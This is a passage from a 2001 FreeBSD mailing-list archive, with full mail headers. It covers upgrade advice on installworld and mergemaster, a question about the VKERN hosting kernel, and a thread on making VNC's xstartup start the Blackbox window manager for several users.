rules that you will find in /usr/src/UPDATING has you boot to single user mode to do the installworld. On remotes, this only works if you have a console on the serial port. I have access to the console on all of my systems. I have never used a serial console. After the installworld, you have to run mergemaster to update the configuration files that changed in places such as /etc. If you have a comparable machine locally, you could test the comment in UPDATING where is states that you can do an installworld with out being in single user mode. I ran that way with 4.0, .1 and .2 but at .3, I starting only doing single user installworlds. I was doing the upgrade over my local network. It always worked. Starting with 4.3, there were enough things going on following RELENG_4 that I didn't want to fight even on a machine that I had physical access to the console. Kent > > Thanks heaps..... -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 22: 7:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 5CCDD37B416 for ; Sat, 24 Nov 2001 22:07:35 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAP67Wf01737 for ; Sun, 25 Nov 2001 07:07:33 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <000701c17577$78f25530$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: VKERN Date: Sun, 25 Nov 2001 07:07:32 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Where can I find out more about the origin and history of VKERN, the virtual server kernel used by zillions of web-hosting companies? It doesn't appear to be a standard variation of FreeBSD, so someone somewhere must have cooked it up. I don't intend to run it myself, but my Web site runs under it, so I am curious about it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 22:19:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by hub.freebsd.org (Postfix) with ESMTP id 6A8D737B405 for ; Sat, 24 Nov 2001 22:19:11 -0800 (PST) Received: from sdn-ar-007dcwashp293.dialsprint.net ([63.178.90.159] helo=moo.holy.cow) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 167sdB-0003ad-00; Sat, 24 Nov 2001 22:19:10 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id F077F50CF0; Sun, 25 Nov 2001 01:20:47 -0500 (EST) Date: Sun, 25 Nov 2001 01:20:47 -0500 From: parv To: Eric Lam Cc: freebsd-questions@freebsd.org Subject: Re: X Windows, Blackbox, and VNC Message-ID: <20011125012047.B27951@moo.holy.cow> Mail-Followup-To: Eric Lam , freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from ecrim@earthlink.net on Sat, Nov 24, 2001 at 08:03:07PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in message , wrote Eric Lam thusly... > ... > You know how VNC creates a default ~/.vnc/xstartup? Is there a way to > automically specify xstartup to use blackbox, instead of the default windows > manager? Its rather annoying to configure ~/.vnc/xstartup so that it starts > up blackbox instead of that twm. > a really crude & quick way is to create symlink from twm to blackbox. twm is more or less guaranteed to be on a X Window System, afaik. so vnc does the safest thing. sure, it's not automagic, but why is it so hard to edit a line? ...unless, you are talking about changes to hundreds of users' files. but even in that case, a short perl program would take care of that too. - parv To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 22:23: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id 1F63C37B416 for ; Sat, 24 Nov 2001 22:23:02 -0800 (PST) Received: from pool0252.cvx33-bradley.dialup.earthlink.net ([216.244.0.252] helo=enterprise) by swan.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 167sgu-0000Uy-00; Sat, 24 Nov 2001 22:23:01 -0800 From: "Eric Lam" To: "parv" Cc: Subject: RE: X Windows, Blackbox, and VNC Date: Sat, 24 Nov 2001 22:27:42 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <20011125012047.B27951@moo.holy.cow> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well, my problem is fixing up probalby 20 users and potential new users. It's not a big of a deal writing up a script, but it would be nice and a bonus if there was a central config file. thanks for your help though. eric -----Original Message----- From: owner-freebsd-questions@FreeBSD.ORG [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of parv Sent: Saturday, November 24, 2001 10:21 PM To: Eric Lam Cc: freebsd-questions@freebsd.org Subject: Re: X Windows, Blackbox, and VNC in message , wrote Eric Lam thusly... > ... > You know how VNC creates a default ~/.vnc/xstartup? Is there a way to > automically specify xstartup to use blackbox, instead of the default windows > manager? Its rather annoying to configure ~/.vnc/xstartup so that it starts > up blackbox instead of that twm. > a really crude & quick way is to create symlink from twm to blackbox. twm is more or less guaranteed to be on a X Window System, afaik. so vnc does the safest thing. sure, it's not automagic, but why is it so hard to edit a line? ...unless, you are talking about changes to hundreds of users' files. but even in that case, a short perl program would take care of that too. - parv To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 22:26:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gramsc1.dyndns.org (h00609774e769.ne.mediaone.net [24.91.224.187]) by hub.freebsd.org (Postfix) with ESMTP id 07C2637B416 for ; Sat, 24 Nov 2001 22:26:11 -0800 (PST) Received: from gramsc1.dyndns.org (mrlongz@localhost.net [127.0.0.1]) by gramsc1.dyndns.org (8.12.1/8.12.1) with ESMTP id fAP6PtLC018290; Sun, 25 Nov 2001 01:25:56 -0500 (EST)?g (envelope-from resopmok@gramsc1.dyndns.org)œ Received: from localhost (resopmok@localhost) by gramsc1.dyndns.org (8.12.1/8.12.1/Submit) with ESMTP id fAP6Pt06018287; Sun, 25 Nov 2001 01:25:55 -0500 (EST)?g (envelope-from resopmok@gramsc1.dyndns.org) Date: Sun, 25 Nov 2001 01:25:54 -0500 (EST) From: Chris Thomas To: Eric Lam Cc: parv , Subject: RE: X Windows, Blackbox, and VNC In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG echo "exec BlackBox" > ~/.xinitrc that should work. -chris On Sat, 24 Nov 2001, Eric Lam wrote: > Well, my problem is fixing up probalby 20 users and potential new users. > It's not a big of a deal writing up a script, but it would be nice and a > bonus if there was a central config file. thanks for your help though. > > eric > > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of parv > Sent: Saturday, November 24, 2001 10:21 PM > To: Eric Lam > Cc: freebsd-questions@freebsd.org > Subject: Re: X Windows, Blackbox, and VNC > > > in message , > wrote Eric Lam thusly... > > > ... > > You know how VNC creates a default ~/.vnc/xstartup? Is there a way to > > automically specify xstartup to use blackbox, instead of the default > windows > > manager? Its rather annoying to configure ~/.vnc/xstartup so that it > starts > > up blackbox instead of that twm. > > > > a really crude & quick way is to create symlink from > twm to blackbox. > > twm is more or less guaranteed to be on a X Window System, afaik. so > vnc does the safest thing. > > sure, it's not automagic, but why is it so hard to edit a line? > ...unless, you are talking about changes to hundreds of users' > files. but even in that case, a short perl program would take > care of that too. > > - parv > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 22:46:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gull.prod.itd.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by hub.freebsd.org (Postfix) with ESMTP id C80C837B405 for ; Sat, 24 Nov 2001 22:46:14 -0800 (PST) Received: from sdn-ar-007dcwashp293.dialsprint.net ([63.178.90.159] helo=moo.holy.cow) by gull.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 167t3M-0003tN-00; Sat, 24 Nov 2001 22:46:13 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id 289C350CF0; Sun, 25 Nov 2001 01:47:55 -0500 (EST) Date: Sun, 25 Nov 2001 01:47:55 -0500 From: parv To: Eric Lam Cc: freebsd-questions@freebsd.org Subject: Re: X Windows, Blackbox, and VNC Message-ID: <20011125014755.D27951@moo.holy.cow> Mail-Followup-To: Eric Lam , freebsd-questions@freebsd.org References: <20011125012047.B27951@moo.holy.cow> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from cybercriminal@earthlink.net on Sat, Nov 24, 2001 at 10:27:42PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in message , wrote Eric Lam thusly... > > Well, my problem is fixing up probalby 20 users and potential new users. > It's not a big of a deal writing up a script, but it would be nice and a > bonus if there was a central config file. thanks for your help though. > > eric i searched thru' vnc faq & documentation; didn't find any references to xstartup like files other than in ~/.vnc. for potential new users, you can eliminate the need to edit their files by creating .vnc/xstartup in /usr/share/skel (used by at least adduser). but you probably already knew that. - parv To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 23:33:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from 200227141181-dial-user-UOL.acessonet.com.br (200227141181-dial-user-UOL.acessonet.com.br [200.227.141.181]) by hub.freebsd.org (Postfix) with SMTP id 296ED37B419 for ; Sat, 24 Nov 2001 23:32:38 -0800 (PST) Message-ID: <004f01c1437f$ad7c5a00$a38de3c8@1> From: =?iso-8859-1?Q?OndeEst=E1s=3F?= To: =?iso-8859-1?Q?OndeEst=E1s=3F_-_Seu_guia_na_Internet?= Subject: Feliz Natal! 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